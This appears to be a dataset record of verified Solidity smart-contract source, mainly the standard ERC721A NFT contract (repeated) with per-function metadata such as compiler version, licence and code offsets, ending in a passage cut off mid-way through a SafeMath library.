contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; } // Compiler will pack the following // _currentIndex and _burnCounter into a single 256bit word. // The tokenId of the next token to be minted. uint128 internal _currentIndex; // The number of tokens burned. uint128 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC721Enumerable-tokenByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenByIndex(uint256 index) external view override returns (uint256) { uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (!ownership.burned) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert TokenIndexOutOfBounds(); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view override returns (uint256) { if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds(); uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } // Execution should never reach this point. revert(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) { revert TransferToNonERC721ReceiverImplementer(); } updatedIndex++; } _currentIndex = uint128(updatedIndex); } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
/** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128). */
NatSpecMultiLine
_beforeTokenTransfers
function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {}
/** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */
NatSpecMultiLine
v0.8.12+commit.f00d7308
MIT
ipfs://cd0f73459f488c48eb443b83685f80164f3e24a76f476670246180ce023c3f1d
{ "func_code_index": [ 20290, 20454 ] }
12,402
CryptoYachts
CryptoYachts.sol
0x7a772afba91b5569fa62a096ff20c257b9457daa
Solidity
ERC721A
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; } // Compiler will pack the following // _currentIndex and _burnCounter into a single 256bit word. // The tokenId of the next token to be minted. uint128 internal _currentIndex; // The number of tokens burned. uint128 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex times unchecked { return _currentIndex - _burnCounter; } } /** * @dev See {IERC721Enumerable-tokenByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenByIndex(uint256 index) external view override returns (uint256) { uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (!ownership.burned) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } revert TokenIndexOutOfBounds(); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view override returns (uint256) { if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds(); uint256 numMintedSoFar = _currentIndex; uint256 tokenIdsIdx; address currOwnershipAddr; // Counter overflow is impossible as the loop breaks when // uint256 i is equal to another uint256 numMintedSoFar. unchecked { for (uint256 i; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.burned) { continue; } if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } } // Execution should never reach this point. revert(); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1 // updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; for (uint256 i; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) { revert TransferToNonERC721ReceiverImplementer(); } updatedIndex++; } _currentIndex = uint128(updatedIndex); } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**128. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} }
/** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128). */
NatSpecMultiLine
_afterTokenTransfers
function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {}
/** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */
NatSpecMultiLine
v0.8.12+commit.f00d7308
MIT
ipfs://cd0f73459f488c48eb443b83685f80164f3e24a76f476670246180ce023c3f1d
{ "func_code_index": [ 21108, 21271 ] }
12,403
Vyper
Vyper.sol
0xf1599c8c832483a164095c8cb0ab4be9b027719d
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 